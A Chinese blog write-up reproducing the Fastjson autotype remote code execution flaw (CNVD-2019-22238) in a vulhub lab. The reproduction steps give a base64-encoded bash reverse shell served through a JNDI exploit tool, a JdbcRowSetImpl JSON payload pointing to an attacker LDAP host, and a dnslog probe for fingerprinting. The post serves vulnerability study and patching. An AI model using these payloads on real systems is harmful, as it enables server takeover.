Fastjson远程代码执行(CNVD-2019-22238)漏洞复现

0x00 漏洞简介

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java对象。

0x01 漏洞详情

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON
字符串转换为 Java 对象 Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。

0x02 影响版本

fastjson <= 1.2.47

0x03 漏洞复现

环境准备

RMI服务器:借助JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
Netcat:接收反弹回来的shell。
以上两个服务可以放在一台服务器

1.利用vulhub启动漏洞环境
在这里插入图片描述
2.利用kali启动nc监听
在这里插入图片描述

3.架设rmi服务器
java执行命令payloads生成点我
启动rmi

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjQvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.0.4"    #192.168.0.4 为rmi服务器ip

在这里插入图片描述

6.Burp抓包测试
改成post请求,注意Content-Type修改为json细节。网上复制的话注意引号和冒号都是英文符号。

{
    
    
    "a":{
    
    
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
    
    
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.0.4:1389/1q9qke",
        "autoCommit":true
    }
}

将rmi生成的利用链进行加载请求,一个失败就多尝试几个链。在这里插入图片描述
发包执行命令成功:
在这里插入图片描述
参考:https://blog.csdn.net/qq_40007043/article/details/107615314

0x05 Payload

更多其他环境参考:https://mp.weixin.qq.com/s/I0OdFPnRH_r1yZ04tOB-cw

0x06 指纹识别

如果有报错回显,可以故意构造不完整json请求,返回的数据包会进行报错。
发送内容最后少了个括号导致数据包不完整从而报错,从返回的数据包中可以看到有fastjson字样。
在这里插入图片描述
如果没有报错回显,利用dnslog进行回显
{“zeo”:{"@type":“java.net.Inet4Address”,“val”:“p6ddoz.dnslog.cn”}}
在这里插入图片描述

0x07 注意事项

复制输入payload相关的代码注意区分中英文符号。
Burpsuite数据包注意Content-Type为json。

0x08 漏洞修复

升级到官方最新版本!

猜你喜欢

转载自blog.csdn.net/weixin_54430466/article/details/122255449